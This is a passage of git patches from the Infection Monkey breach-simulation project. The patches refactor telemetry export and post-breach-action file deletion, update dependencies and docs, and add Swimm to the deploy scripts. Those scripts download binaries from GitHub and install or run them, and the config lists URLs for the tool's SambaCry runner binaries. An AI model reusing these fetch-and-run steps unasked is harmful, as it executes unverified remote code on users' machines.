TELEMS_EXPORTED = False @staticmethod - def store_test_telem(f): + def store_exported_telem(f): @wraps(f) def decorated_function(*args, **kwargs): if ConfigService.is_test_telem_export_enabled(): @@ -35,7 +35,7 @@ def decorated_function(*args, **kwargs): .replace(">", "_") .replace(":", "_") ) - TestTelem( + ExportedTelem( name=name, method=method, endpoint=endpoint, content=content, time=time ).save() return f(*args, **kwargs) @@ -43,7 +43,7 @@ def decorated_function(*args, **kwargs): return decorated_function @staticmethod - def export_test_telems(): + def export_telems(): logger.info(f"Exporting all telemetries to {TELEM_SAMPLE_DIR}") try: mkdir(TELEM_SAMPLE_DIR) @@ -51,9 +51,9 @@ def export_test_telems(): logger.info("Deleting all previous telemetries.") shutil.rmtree(TELEM_SAMPLE_DIR) mkdir(TELEM_SAMPLE_DIR) - for test_telem in TestTelem.objects(): + for test_telem in ExportedTelem.objects(): with open( - TestTelemStore.get_unique_file_path_for_test_telem(TELEM_SAMPLE_DIR, test_telem), + TestTelemStore.get_unique_file_path_for_export_telem(TELEM_SAMPLE_DIR, test_telem), "w", ) as file: file.write(test_telem.to_json(indent=2)) @@ -61,8 +61,8 @@ def export_test_telems(): logger.info("Telemetries exported!") @staticmethod - def get_unique_file_path_for_test_telem(target_dir: str, test_telem: TestTelem): - telem_filename = TestTelemStore._get_filename_by_test_telem(test_telem) + def get_unique_file_path_for_export_telem(target_dir: str, test_telem: ExportedTelem): + telem_filename = TestTelemStore._get_filename_by_export_telem(test_telem) for i in range(MAX_SAME_CATEGORY_TELEMS): potential_filepath = path.join(target_dir, (telem_filename + str(i))) if path.exists(potential_filepath): @@ -73,10 +73,10 @@ def get_unique_file_path_for_test_telem(target_dir: str, test_telem: TestTelem): ) @staticmethod - def _get_filename_by_test_telem(test_telem: TestTelem): + def _get_filename_by_export_telem(test_telem: ExportedTelem): endpoint_part = test_telem.name return endpoint_part + "_" + test_telem.method if __name__ == "__main__": - TestTelemStore.export_test_telems() + TestTelemStore.export_telems() diff --git a/monkey/monkey_island/cc/resources/log.py b/monkey/monkey_island/cc/resources/log.py index 126e1f69758..298674d3bc3 100644 --- a/monkey/monkey_island/cc/resources/log.py +++ b/monkey/monkey_island/cc/resources/log.py @@ -24,7 +24,7 @@ def get(self): return LogService.log_exists(ObjectId(exists_monkey_id)) # Used by monkey. can't secure. - @TestTelemStore.store_test_telem + @TestTelemStore.store_exported_telem def post(self): telemetry_json = json.loads(request.data) diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 7d8a18a9839..2b4042622d7 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -35,7 +35,7 @@ def get(self, guid=None, **kw): return {} # Used by monkey. can't secure. - @TestTelemStore.store_test_telem + @TestTelemStore.store_exported_telem def patch(self, guid): monkey_json = json.loads(request.data) update = {"$set": {"modifytime": datetime.now()}} @@ -60,7 +60,7 @@ def patch(self, guid): # Used by monkey. can't secure. # Called on monkey wakeup to initialize local configuration - @TestTelemStore.store_test_telem + @TestTelemStore.store_exported_telem def post(self, **kw): monkey_json = json.loads(request.data) monkey_json["creds"] = [] diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 15e7139a00b..d2f662c1d90 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -44,7 +44,7 @@ def get(self, **kw): return result # Used by monkey. can't secure. - @TestTelemStore.store_test_telem + @TestTelemStore.store_exported_telem def post(self): telemetry_json = json.loads(request.data) telemetry_json["data"] = json.loads(telemetry_json["data"]) diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index 476bc2a0e49..5529cc70d8a 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -54,4 +54,4 @@ def _on_finished_infection(): if not is_report_being_generated() and not ReportService.is_latest_report_exists(): safe_generate_reports() if ConfigService.is_test_telem_export_enabled() and not TestTelemStore.TELEMS_EXPORTED: - TestTelemStore.export_test_telems() + TestTelemStore.export_telems() From fd8ef7f39ef1c91951220c523d2cba5d792544c4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 22 Apr 2021 17:19:20 +0300 Subject: [PATCH 0279/1360] Refactored test_telems to exported_telems and moved them from the test folder, because they are generated in production --- .../cc/models/exported_telem.py} | 7 +++++-- .../resources/blackbox/utils/telem_store.py | 20 +++++++++---------- monkey/monkey_island/cc/resources/log.py | 2 +- monkey/monkey_island/cc/resources/monkey.py | 4 ++-- .../monkey_island/cc/resources/telemetry.py | 2 +- .../cc/services/infection_lifecycle.py | 2 +- 6 files changed, 20 insertions(+), 17 deletions(-) rename monkey/{tests/monkey_island/cc/models/test_telem.py => monkey_island/cc/models/exported_telem.py} (50%) diff --git a/monkey/tests/monkey_island/cc/models/test_telem.py b/monkey/monkey_island/cc/models/exported_telem.py similarity index 50% rename from monkey/tests/monkey_island/cc/models/test_telem.py rename to monkey/monkey_island/cc/models/exported_telem.py index 8dd1cb65855..6df2296fb89 100644 --- a/monkey/tests/monkey_island/cc/models/test_telem.py +++ b/monkey/monkey_island/cc/models/exported_telem.py @@ -1,10 +1,13 @@ """ -Define a Document Schema for the TestTelem document. +Define a Document Schema for the TelemForExport document. """ from mongoengine import DateTimeField, Document, StringField -class TestTelem(Document): +# This document describes exported telemetry. +# These telemetries are used to mock monkeys sending telemetries to the island. +# This way we can replicate island state without running monkeys. +class ExportedTelem(Document): # SCHEMA name = StringField(required=True) time = DateTimeField(required=True) diff --git a/monkey/monkey_island/cc/resources/blackbox/utils/telem_store.py b/monkey/monkey_island/cc/resources/blackbox/utils/telem_store.py index 574712cda0f..2130cef5ab1 100644 --- a/monkey/monkey_island/cc/resources/blackbox/utils/telem_store.py +++ b/monkey/monkey_island/cc/resources/blackbox/utils/telem_store.py @@ -6,7 +6,7 @@ from flask import request -from monkey_island.cc.models.test_telem import TestTelem +from monkey_island.cc.models.exported_telem import ExportedTelem from monkey_island.cc.services.config import ConfigService TELEM_SAMPLE_DIR = "./telem_sample" @@ -20,7 +20,7 @@ class TestTelemStore: TELEMS_EXPORTED = False @staticmethod - def store_test_telem(f): + def store_exported_telem(f): @wraps(f) def decorated_function(*args, **kwargs): if ConfigService.is_test_telem_export_enabled(): @@ -35,7 +35,7 @@ def decorated_function(*args, **kwargs): .replace(">", "_") .replace(":", "_") ) - TestTelem( + ExportedTelem( name=name, method=method, endpoint=endpoint, content=content, time=time ).save() return f(*args, **kwargs) @@ -43,7 +43,7 @@ def decorated_function(*args, **kwargs): return decorated_function @staticmethod - def export_test_telems(): + def export_telems(): logger.info(f"Exporting all telemetries to {TELEM_SAMPLE_DIR}") try: mkdir(TELEM_SAMPLE_DIR) @@ -51,9 +51,9 @@ def export_test_telems(): logger.info("Deleting all previous telemetries.") shutil.rmtree(TELEM_SAMPLE_DIR) mkdir(TELEM_SAMPLE_DIR) - for test_telem in TestTelem.objects(): + for test_telem in ExportedTelem.objects(): with open( - TestTelemStore.get_unique_file_path_for_test_telem(TELEM_SAMPLE_DIR, test_telem), + TestTelemStore.get_unique_file_path_for_export_telem(TELEM_SAMPLE_DIR, test_telem), "w", ) as file: file.write(test_telem.to_json(indent=2)) @@ -61,8 +61,8 @@ def export_test_telems(): logger.info("Telemetries exported!") @staticmethod - def get_unique_file_path_for_test_telem(target_dir: str, test_telem: TestTelem): - telem_filename = TestTelemStore._get_filename_by_test_telem(test_telem) + def get_unique_file_path_for_export_telem(target_dir: str, test_telem: ExportedTelem): + telem_filename = TestTelemStore._get_filename_by_export_telem(test_telem) for i in range(MAX_SAME_CATEGORY_TELEMS): potential_filepath = path.join(target_dir, (telem_filename + str(i))) if path.exists(potential_filepath): @@ -73,10 +73,10 @@ def get_unique_file_path_for_test_telem(target_dir: str, test_telem: TestTelem): ) @staticmethod - def _get_filename_by_test_telem(test_telem: TestTelem): + def _get_filename_by_export_telem(test_telem: ExportedTelem): endpoint_part = test_telem.name return endpoint_part + "_" + test_telem.method if __name__ == "__main__": - TestTelemStore.export_test_telems() + TestTelemStore.export_telems() diff --git a/monkey/monkey_island/cc/resources/log.py b/monkey/monkey_island/cc/resources/log.py index 126e1f69758..298674d3bc3 100644 --- a/monkey/monkey_island/cc/resources/log.py +++ b/monkey/monkey_island/cc/resources/log.py @@ -24,7 +24,7 @@ def get(self): return LogService.log_exists(ObjectId(exists_monkey_id)) # Used by monkey. can't secure. - @TestTelemStore.store_test_telem + @TestTelemStore.store_exported_telem def post(self): telemetry_json = json.loads(request.data) diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 7d8a18a9839..2b4042622d7 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -35,7 +35,7 @@ def get(self, guid=None, **kw): return {} # Used by monkey. can't secure. - @TestTelemStore.store_test_telem + @TestTelemStore.store_exported_telem def patch(self, guid): monkey_json = json.loads(request.data) update = {"$set": {"modifytime": datetime.now()}} @@ -60,7 +60,7 @@ def patch(self, guid): # Used by monkey. can't secure. # Called on monkey wakeup to initialize local configuration - @TestTelemStore.store_test_telem + @TestTelemStore.store_exported_telem def post(self, **kw): monkey_json = json.loads(request.data) monkey_json["creds"] = [] diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 15e7139a00b..d2f662c1d90 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -44,7 +44,7 @@ def get(self, **kw): return result # Used by monkey. can't secure. - @TestTelemStore.store_test_telem + @TestTelemStore.store_exported_telem def post(self): telemetry_json = json.loads(request.data) telemetry_json["data"] = json.loads(telemetry_json["data"]) diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index 476bc2a0e49..5529cc70d8a 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -54,4 +54,4 @@ def _on_finished_infection(): if not is_report_being_generated() and not ReportService.is_latest_report_exists(): safe_generate_reports() if ConfigService.is_test_telem_export_enabled() and not TestTelemStore.TELEMS_EXPORTED: - TestTelemStore.export_test_telems() + TestTelemStore.export_telems() From df67ba554eb76ecc72c36563afe0b170a6c46b5e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 23 Apr 2021 11:20:13 -0400 Subject: [PATCH 0280/1360] agent: Add pyinstaller-hooks-contrib and importlib-metadata to Pipfile Pipenv fails to install these dependencies in the cdrx/pyinstaller:python3 container when pyinstaller is installed from our fork. Adding them to the Pipfile ensures they get installed and resolves the issue. --- monkey/infection_monkey/Pipfile | 2 ++ monkey/infection_monkey/Pipfile.lock | 38 +++++++++++++++++++++++++--- 2 files changed, 37 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index ee3d05fced7..17e9bae7b63 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -8,7 +8,9 @@ cryptography = "==2.5" # We can't build 32bit ubuntu12 binary with newer version cffi = ">=1.14" ecdsa = "==0.15" pyinstaller = {git = "git://github.com/guardicore/pyinstaller"} +pyinstaller-hooks-contrib = "==2021.1" impacket = ">=0.9" +importlib-metadata = "==4.0.1" ipaddress = ">=1.0.23" netifaces = ">=0.10.9" odict = "==1.7.0" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index bd7a3e514a4..02dbd88ccc3 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "78392106c26ec104e3734ec0b69975330baa9ff7761d63e1091e2687bb149265" + "sha256": "080af5d3991ee621eb9fd84535c6399f297d6eaa72e97dc90871e27dd7a69435" }, "pipfile-spec": 6, "requires": { @@ -265,6 +265,14 @@ "index": "pypi", "version": "==0.9.22" }, + "importlib-metadata": { + "hashes": [ + "sha256:8c501196e49fb9df5df43833bdb1e4328f64847763ec8a50703148b73784d581", + "sha256:d7eb1dea6d6a6086f8be21784cc9e3bcfa55872b52309bc5fad53a8ea444465d" + ], + "index": "pypi", + "version": "==4.0.1" + }, "ipaddress": { "hashes": [ "sha256:6e0f4a39e66cb5bb9a137b00276a2eff74f93b71dcbdad6f10ff7df9d3557fcc", @@ -658,6 +666,14 @@ "git": "git://github.com/guardicore/pyinstaller", "ref": "7c050ea0d6ca1e453045632ec57cf1afe79e15c5" }, + "pyinstaller-hooks-contrib": { + "hashes": [ + "sha256:27558072021857d89524c42136feaa2ffe4f003f1bdf0278f9b24f6902c1759c", + "sha256:892310e6363655838485ee748bf1c5e5cade7963686d9af8650ee218a3e0b031" + ], + "index": "pypi", + "version": "==2021.1" + }, "pymssql": { "hashes": [ "sha256:04aab92d5a1a5d4e01a0797a939f103f02c0ef777bc8dcf1e952ed30dd1d43d4", @@ -880,6 +896,15 @@ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==4.60.0" }, + "typing-extensions": { + "hashes": [ + "sha256:7cb407020f00f7bfc3cb3e7881628838e69d8f3fcab2f64742a5e76b2f841918", + "sha256:99d4073b617d30288f569d3f13d2bd7548c3a7e4c8de87db09a9d29bb3a4a60c", + "sha256:dafc7639cde7f1b6e1acc0f457842a83e722ccca8eef5270af2d74792619a89f" + ], + "markers": "python_version < '3.8'", + "version": "==3.7.4.3" + }, "urllib3": { "hashes": [ "sha256:2f3db8b19923a873b3e5256dc9c2dedfa883e33d87c690d9c7913e1f40673cdc", @@ -916,7 +941,7 @@ "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1", "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2" ], - "markers": "platform_system == 'Windows'", + "markers": "python_version >= '3.6'", "version": "==0.0.9" }, "winsys-3.x": { @@ -931,7 +956,6 @@ "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" ], - "index": "pypi", "markers": "sys_platform == 'win32'", "version": "==1.5.1" }, @@ -941,6 +965,14 @@ "sha256:cc33599b549f0c8a248cb72f3bf32d77712de1ff7ee8814312eb6456b42c015f" ], "version": "==2.0" + }, + "zipp": { + "hashes": [ + "sha256:3607921face881ba3e026887d8150cca609d517579abe052ac81fc5aeffdbd76", + "sha256:51cb66cc54621609dd593d1787f286ee42a5c0adbb4b29abea5a63edc3e03098" + ], + "markers": "python_version >= '3.6'", + "version": "==3.4.1" } }, "develop": {} From 4854c9cfc92f6c0c4dc01a425023d719a12507eb Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 25 Mar 2021 19:58:50 +0530 Subject: [PATCH 0281/1360] Attempt to remove custom PBA file when resetting config only if filename exists in DB --- .../monkey_island/cc/resources/pba_file_upload.py | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 16d71cfeb5f..5f41964cb88 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -69,13 +69,14 @@ def delete(self, file_type): PBA_LINUX_FILENAME_PATH if file_type == "PBAlinux" else PBA_WINDOWS_FILENAME_PATH ) filename = ConfigService.get_config_value(filename_path) - file_path = Path(env_singleton.env.get_config().data_dir_abs_path).joinpath(filename) - try: - if os.path.exists(file_path): - os.remove(file_path) - ConfigService.set_config_value(filename_path, "") - except OSError as e: - LOG.error("Can't remove previously uploaded post breach files: %s" % e) + if filename: + file_path = Path(env_singleton.env.get_config().data_dir_abs_path).joinpath(filename) + try: + if os.path.exists(file_path): + os.remove(file_path) + ConfigService.set_config_value(filename_path, "") + except OSError as e: + LOG.error("Can't remove previously uploaded post breach files: %s" % e) return {} From 4f94e9de740a0ad7d58481b908d59dcd9be22a16 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sat, 24 Apr 2021 12:57:56 +0530 Subject: [PATCH 0282/1360] Break PBA file deletion into functions: attempt to delete PBA file in another function --- .../cc/resources/pba_file_upload.py | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 5f41964cb88..46169eb5ebf 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -18,7 +18,7 @@ __author__ = "VakarisZ" LOG = logging.getLogger(__name__) -# Front end uses these strings to identify which files to work with (linux of windows) +# Front end uses these strings to identify which files to work with (linux or windows) LINUX_PBA_TYPE = "PBAlinux" WINDOWS_PBA_TYPE = "PBAwindows" @@ -71,12 +71,8 @@ def delete(self, file_type): filename = ConfigService.get_config_value(filename_path) if filename: file_path = Path(env_singleton.env.get_config().data_dir_abs_path).joinpath(filename) - try: - if os.path.exists(file_path): - os.remove(file_path) - ConfigService.set_config_value(filename_path, "") - except OSError as e: - LOG.error("Can't remove previously uploaded post breach files: %s" % e) + FileUpload._delete_file(file_path) + ConfigService.set_config_value(filename_path, "") return {} @@ -97,3 +93,11 @@ def upload_pba_file(request_, is_linux=True): (PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename ) return filename + + @staticmethod + def _delete_file(file_path): + try: + if os.path.exists(file_path): + os.remove(file_path) + except OSError as e: + LOG.error("Couldn't remove previously uploaded post breach files: %s" % e) From 9b38303346683b8c0a1034eb08fd2f8a766eb9e7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 26 Apr 2021 15:18:26 +0530 Subject: [PATCH 0283/1360] Rearrange functions' order in `monkey_island/cc/resources/pba_file_upload.py` to follow stepdown rule --- .../cc/resources/pba_file_upload.py | 36 +++++++++---------- 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 46169eb5ebf..6ae209a12a2 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -58,24 +58,6 @@ def post(self, file_type): response = Response(response=filename, status=200, mimetype="text/plain") return response - @jwt_required - def delete(self, file_type): - """ - Deletes file that has been deleted on the front end - :param file_type: Type indicates which file was deleted, linux of windows - :return: Empty response - """ - filename_path = ( - PBA_LINUX_FILENAME_PATH if file_type == "PBAlinux" else PBA_WINDOWS_FILENAME_PATH - ) - filename = ConfigService.get_config_value(filename_path) - if filename: - file_path = Path(env_singleton.env.get_config().data_dir_abs_path).joinpath(filename) - FileUpload._delete_file(file_path) - ConfigService.set_config_value(filename_path, "") - - return {} - @staticmethod def upload_pba_file(request_, is_linux=True): """ @@ -94,6 +76,24 @@ def upload_pba_file(request_, is_linux=True): ) return filename + @jwt_required + def delete(self, file_type): + """ + Deletes file that has been deleted on the front end + :param file_type: Type indicates which file was deleted, linux of windows + :return: Empty response + """ + filename_path = ( + PBA_LINUX_FILENAME_PATH if file_type == "PBAlinux" else PBA_WINDOWS_FILENAME_PATH + ) + filename = ConfigService.get_config_value(filename_path) + if filename: + file_path = Path(env_singleton.env.get_config().data_dir_abs_path).joinpath(filename) + FileUpload._delete_file(file_path) + ConfigService.set_config_value(filename_path, "") + + return {} + @staticmethod def _delete_file(file_path): try: From d83fc2e914d49bea8253b1523e84abd735988afa Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 26 Apr 2021 10:42:34 -0400 Subject: [PATCH 0284/1360] Drop `--system` from `pipenv install` in deploy_linux.sh The `--system` flag is not necessary when deploying a development environment on linux. It's preferable to install python dependencies in venvs rather than on the system. --- deployment_scripts/deploy_linux.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index d0c1b105473..c003dd278c6 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -148,13 +148,13 @@ pipx install pipenv log_message "Installing island requirements" pushd $ISLAND_PATH -pipenv install --dev --system +pipenv install --dev popd log_message "Installing monkey requirements" sudo apt-get install -y libffi-dev upx libssl-dev libc++1 pushd $INFECTION_MONKEY_DIR -pipenv install --dev --system +pipenv install --dev popd agents=${3:-true} From afa412ca473130bf06c5c98efbc2e685b3871098 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 26 Apr 2021 10:47:00 -0400 Subject: [PATCH 0285/1360] agent: Add note to readme to run build_linux.sh with `pipenv run` --- monkey/infection_monkey/readme.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/readme.md b/monkey/infection_monkey/readme.md index fa192c33ef0..63029a62b40 100644 --- a/monkey/infection_monkey/readme.md +++ b/monkey/infection_monkey/readme.md @@ -14,16 +14,16 @@ The monkey is composed of three separate parts. 1. Install python 3.7.4 and choose **ADD to PATH** option when installing. Download and install from: - + In case you still need to add python directories to path: - - Run the following command on a cmd console (Replace C:\Python37 with your python directory if it's different) + - Run the following command on a cmd console (Replace C:\Python37 with your python directory if it's different) `setx /M PATH "%PATH%;C:\Python37;C:\Python37\Scripts` - Close the console, make sure you execute all commands in a new cmd console from now on. 2. Install further dependencies - if not installed, install Microsoft Visual C++ 2017 SP1 Redistributable Package - 32bit: - 64bit: -3. Download the dependent python packages using +3. Download the dependent python packages using `pip install -r requirements.txt` 4. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe: @@ -63,8 +63,8 @@ Tested on Ubuntu 16.04. 5. To build, run in terminal: - `cd [code location]/infection_monkey` - `chmod +x build_linux.sh` - - `./build_linux.sh` - + - `pipenv run ./build_linux.sh` + output is placed under `dist/monkey32` or `dist/monkey64` depending on your version of python ### Sambacry From 30bb987830cc3fcd123e2c5573d73a581afb7455 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 26 Apr 2021 11:59:17 -0400 Subject: [PATCH 0286/1360] Add missing pipenv and unit tests items to CHANGELOG.md --- CHANGELOG.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index cc8ecd79149..6bbf813294e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -19,3 +19,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Reformated all code using black. #1070 - Sorted all imports usind isort. #1081 - Addressed all flake8 issues. #1071 +- Use pipenv for python dependency management. #1091 +- Moved unit tests to a dedicated `tests/` directory to improve pytest + collection time. #1102 From f5ce51858a7b6c495276767737d4ee497aee692e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 26 Apr 2021 12:01:19 -0400 Subject: [PATCH 0287/1360] Added changelog entry for #1054 --- CHANGELOG.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6bbf813294e..022fba9e46f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -22,3 +22,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Use pipenv for python dependency management. #1091 - Moved unit tests to a dedicated `tests/` directory to improve pytest collection time. #1102 + +### Fixed +- Attempted to delete a directory when monkey config reset was called. #1054 From fd430e132c86ab33600329747767fbf3747122bd Mon Sep 17 00:00:00 2001 From: Vertrauensstellung <33381081+Vertrauensstellung@users.noreply.github.com> Date: Mon, 26 Apr 2021 21:35:43 +0200 Subject: [PATCH 0288/1360] docs: Use correct tarball name in debian setup instructions (#1128) --- docs/content/setup/debian.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/setup/debian.md b/docs/content/setup/debian.md index ae9751ff5ea..4d388b2dc36 100644 --- a/docs/content/setup/debian.md +++ b/docs/content/setup/debian.md @@ -28,7 +28,7 @@ This Debian package has been tested on Ubuntu Bionic 18.04 LTS and Ubuntu Focal ``` 1. Extract the tarball by running: ```sh - tar -xvzf monkey-island-debian.tgz + tar -xvzf infection_monkey_deb.tgz ``` 1. Install the Monkey Island Debian package: ```sh From 54f640d83b6de94fc865132012aced99bb589abd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 26 Apr 2021 19:24:34 -0400 Subject: [PATCH 0289/1360] travis: install node v12.x, instead of latest --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 6d1c37faf58..b3f1e742868 100644 --- a/.travis.yml +++ b/.travis.yml @@ -35,7 +35,7 @@ install: - node --version - npm --version - nvm --version -- nvm install node +- nvm install 12 - nvm use node - npm i -g eslint - node --version From 7374e615f2cf5375151a39d59369fe88813c73b7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 26 Apr 2021 16:10:36 +0530 Subject: [PATCH 0290/1360] Add Swimm pre-commit hook --- .pre-commit-config.yaml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 5d4fc18d83a..eab23793cf5 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -43,3 +43,7 @@ repos: files: "monkey/" exclude: "monkey/monkey_island/cc/ui" stages: [push] + - repo: https://github.com/swimmio/pre-commit + rev: v0.2 + hooks: + - id: swimm-verify From af4aaf23c6c51fd324c6feae3574795405ce3b86 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 26 Apr 2021 18:08:37 +0530 Subject: [PATCH 0291/1360] Add Swimm to Linux deployment script --- deployment_scripts/config | 3 +++ deployment_scripts/deploy_linux.sh | 9 +++++++++ 2 files changed, 12 insertions(+) diff --git a/deployment_scripts/config b/deployment_scripts/config index cad04a01c9d..101dadd0f37 100644 --- a/deployment_scripts/config +++ b/deployment_scripts/config @@ -43,3 +43,6 @@ export TRACEROUTE_32_BINARY_URL="https://github.com/guardicore/monkey/releases/d export SAMBACRY_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner64.so" export SAMBACRY_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner32.so" + +# Swimm +export SWIMM_URL=https://github.com/swimmio/SwimmReleases/releases/download/v0.4.4-0/Swimm_0.4.4-0_Setup.deb diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index c003dd278c6..e5d798878ff 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -239,6 +239,15 @@ else curl -o ${MONKEY_BIN_DIR}/traceroute32 ${TRACEROUTE_32_BINARY_URL} fi +# Download Swimm +if exists wget; then + wget ${SWIMM_URL} -O $HOME/swimm +else + curl ${SWIMM_URL} -o $HOME/swimm +fi +sudo dpkg -i $HOME/swimm || (sudo apt-get update && sudo apt-get -f install) +sudo chmod +x $HOME/swimm + sudo chmod +x "${INFECTION_MONKEY_DIR}/build_linux.sh" configure_precommit ${python_cmd} ${monkey_home} From e58edfbd7e773c2b7715aff854f3c53891867722 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 26 Apr 2021 18:13:51 +0530 Subject: [PATCH 0292/1360] Add Swimm to Windows deployment script --- deployment_scripts/config.ps1 | 1 + deployment_scripts/deploy_windows.ps1 | 6 ++++++ 2 files changed, 7 insertions(+) diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1 index d140eb711bd..54ad20be9ae 100644 --- a/deployment_scripts/config.ps1 +++ b/deployment_scripts/config.ps1 @@ -46,3 +46,4 @@ $OPEN_SSL_URL = "https://indy.fulgan.com/SSL/openssl-1.0.2u-x64_86-win64.zip" $CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572" $NPM_URL = "https://nodejs.org/dist/v12.14.1/node-v12.14.1-x64.msi" $UPX_URL = "https://github.com/upx/upx/releases/download/v3.96/upx-3.96-win64.zip" +$SWIMM_URL="https://github.com/swimmio/SwimmReleases/releases/download/v0.4.4-0/Swimm-Setup-0.4.4-0.exe" diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index 20f600f51be..82c7985123a 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -267,6 +267,12 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, $webClient.DownloadFile($SAMBA_64_BINARY_URL, $samba64_path) } + # Get Swimm + "Downloading Swimm..." + $swimm_filename = Join-Path -Path $HOME -ChildPath "swimm.exe" + $webClient.DownloadFile($SWIMM_URL, $swimm_filename) + Start-Process $swimm_filename + "Script finished" } From 4c8b3b04da0baf8596f04ae3c3032d339e5ce09b Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 26 Apr 2021 18:25:34 +0530 Subject: [PATCH 0293/1360] Add Swimm details to dev env setup guide in docs --- docs/content/development/setup-development-environment.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/docs/content/development/setup-development-environment.md b/docs/content/development/setup-development-environment.md index b7d122778c8..097e5713de0 100644 --- a/docs/content/development/setup-development-environment.md +++ b/docs/content/development/setup-development-environment.md 